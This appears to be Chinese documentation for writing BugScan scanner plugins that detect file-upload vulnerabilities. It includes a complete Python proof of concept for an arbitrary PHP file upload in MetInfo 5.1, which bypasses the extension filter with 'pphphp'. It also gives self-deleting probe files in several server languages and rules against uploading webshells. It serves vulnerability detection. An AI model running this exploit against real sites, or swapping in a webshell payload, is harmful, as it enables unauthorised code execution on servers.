文件上传类


文件上传类插件可以分两种方法进行上传:

  • raw (推荐)

    直接发送 HTTP 原始报文,可直接从 BurpSuite 中复制该报文,使用 hackhttp 的 raw 发包形式来上传文件。

  • post

    通过构造 enctype="multipart/form-data" 形式的 form 表单来上传文件。

    由于 MIME 类型较多,在处理时比较麻烦,官方推荐使用 raw 形式上传文件。

范例插件

MetInfo5.1 /feedback/uploadfile_save.php 任意文件上传

感谢插件作者: wonderkun

  1. #!/usr/bin/evn python
  2. # -*-:coding:utf-8 -*-
  3. # Author: wonderkun
  4. # Name: MetInfo5.1 任意文件上传 getshell
  5. # Refer: http://www.wooyun.org/bugs/wooyun-2015-0139168
  6. # Data: 2015/12/15
  7. import time
  8. def assign(service,arg):
  9. if service == fingerprint.metinfo:
  10. return True, arg
  11. def audit(arg):
  12. url = arg + "feedback/uploadfile_save.php?met_file_format=pphphp&met_file_maxsize=9999&lang=metinfo"
  13. raw = '''
  14. POST /feedback/uploadfile_save.php?met_file_format=pphphp&met_file_maxsize=9999&lang=metinfo HTTP/1.1
  15. Host: localhost
  16. Content-Length: 423
  17. Cache-Control: max-age=0
  18. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  19. Origin: null
  20. Upgrade-Insecure-Requests: 1
  21. User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
  22. Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE1toBNeESf6p0uXQ
  23. Accept-Encoding: gzip, deflate
  24. Accept-Language: zh-CN,zh;q=0.8
  25. Cookie: PHPSESSID=hfqa37uap92gdaoc2nsco6g0n1
  26. ------WebKitFormBoundaryE1toBNeESf6p0uXQ
  27. Content-Disposition: form-data; name="fd_para[1][para]"
  28. filea
  29. ------WebKitFormBoundaryE1toBNeESf6p0uXQ
  30. Content-Disposition: form-data; name="fd_para[1][type]"
  31. 5
  32. ------WebKitFormBoundaryE1toBNeESf6p0uXQ
  33. Content-Disposition: form-data; name="filea"; filename="test.php"
  34. Content-Type: application/x-php
  35. <?php echo md5(1);unlink(__FILE__);?>
  36. ------WebKitFormBoundaryE1toBNeESf6p0uXQ--
  37. '''
  38. # proxy=('127.0.0.1',8080)
  39. code1, head1, res1, finalurl1, log1 = hackhttp.http(url, raw=raw)
  40. # get upload file name
  41. name = int(time.time())
  42. for i in range(3):
  43. filename = name + i
  44. url = arg + 'upload/file/%s.php' % (str(filename))
  45. code2, head2, res2, finalurl2, log2 = hackhttp.http(url)
  46. if code2 == 200 and "c4ca4238a0b923820dcc509a6f75849b" in res2:
  47. # 只用传递触发漏洞的 log,验证上传成功的 log 不需要
  48. security_hole('file upload Vulnerable:' + arg + "feedback/uploadfile_save.php?met_file_format=pphphp&met_file_maxsize=9999&lang=metinfo", log=log1)
  49. break
  50. if __name__ == '__main__':
  51. from dummy import *
  52. audit(assign(fingerprint.metinfo, "http://127.0.0.1/metinfo5.1/")[1])

文件上传类插件检测步骤

  1. 上传指定文件到目标
  2. 访问上传后的文件
  3. 判断是不是 1 中上传的文件

文件上传类的插件原则

  1. 一般情况下要求上传可执行的文件,例如:php, asp, aspx, jsp
  2. 上传文件内容要求对目标不得造成任何形式的损害。
  3. 上传后的文件,在访问一次之后应该自删除。
  4. 文件名应该尽量随机,不要与正常文件名相同。

上传文件样例代码

BugScan 社区官方提供了以下几类语言的上传检测样本,供开发者参考,所有文件都会在访问一次之后自删除,如果无删除权限时,由于其只输出字符串,也不会造成太大危害。

  • PHP

    1. <?php echo md5(233);unlink(__FILE__);?>

    输出: e165421110ba03099a1c0393373c5b43

  • ASP

    1. <%
    2. Response.Write chr(101)&chr(49)&chr(54)&chr(53)&chr(52)&chr(50)&chr(49)&chr(49)&chr(49)&chr(48)&chr(98)&chr(97)&chr(48)&chr(51)&chr(48)&chr(57)&chr(57)&chr(97)&chr(49)&chr(99)&chr(48)&chr(51)&chr(57)&chr(51)&chr(51)&chr(55)&chr(51)&chr(99)&chr(53)&chr(98)&chr(52)&chr(51)
    3. CreateObject("Scripting.FileSystemObject").DeleteFile(server.mappath(Request.ServerVariables("SCRIPT_NAME")))
    4. %>

    访问该文件后输出: e165421110ba03099a1c0393373c5b43

  • ASPX

    1. <%@Page Language="C#"%>
    2. <%
    3. Response.Write(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("ZTE2NTQyMTExMGJhMDMwOTlhMWMwMzkzMzczYzViNDM=")));
    4. System.IO.File.Delete(Request.PhysicalPath);
    5. %>

    访问该文件后输出:e165421110ba03099a1c0393373c5b43

  • JSP

    1. <%
    2. out.println(new String(new sun.misc.BASE64Decoder().decodeBuffer("ZTE2NTQyMTExMGJhMDMwOTlhMWMwMzkzMzczYzViNDM=")));
    3. new java.io.File(application.getRealPath(request.getServletPath())).delete();
    4. %>

    访问该文件后输出:e165421110ba03099a1c0393373c5b43

  • JSPX

    1. <?xml version="1.0" encoding="UTF-8"?>
    2. <jsp:root xmlns="http://www.w3.org/1999/xhtml" version="2.0" xmlns:jsp="http://java.sun.com/JSP/Page" xmlns:c="http://java.sun.com/jsp/jstl/core">
    3. <jsp:directive.page contentType="text/html;charset=UTF-8" language="java" />
    4. <jsp:scriptlet>
    5. out.println(new String(new sun.misc.BASE64Decoder().decodeBuffer("ZTE2NTQyMTExMGJhMDMwOTlhMWMwMzkzMzczYzViNDM=")));
    6. new java.io.File(application.getRealPath(request.getServletPath())).delete();
    7. </jsp:scriptlet>
    8. </jsp:root>

    访问该文件后输出:e165421110ba03099a1c0393373c5b43

文件上传 Q & A

Q: 为什么不能上传 eval($_POST[a]);?

A: 上传 webshell 会对目标造成危害,违反了无损扫描这一约定,并且上传内容中包含后门特征,容易被防护产品拦截。


Q: 为什么不能上传 phpinfo();?

A: phpinfo();看起来无害实际上却有着泄漏目标服务敏感信息的危害。如果在检测后忘记删除文件,会对其它攻击者提供便利。


Q: 为什么要自删除?

A: 自删除可保证在检测之后不会在目标系统中留下检测时产生的文件,对目标影响较小。如果上传的件名不是随机的,在下次上传时会出现写入不成功的情况。


Q: 为什么文件名要随机?

A: 文件名随机在检测没有重命名处理的上传点时好处有:

  1. 如果文件名与现有的文件同名,写入会失败或者覆盖原文件。
  2. 第一次检测上传成功,在修复漏洞后忘记删除该文件,下次检测时访问该文件会产生误报。